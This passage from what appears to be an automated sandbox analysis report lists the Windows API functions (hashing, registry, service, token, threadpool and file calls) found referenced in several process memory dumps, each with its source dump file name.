"00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found 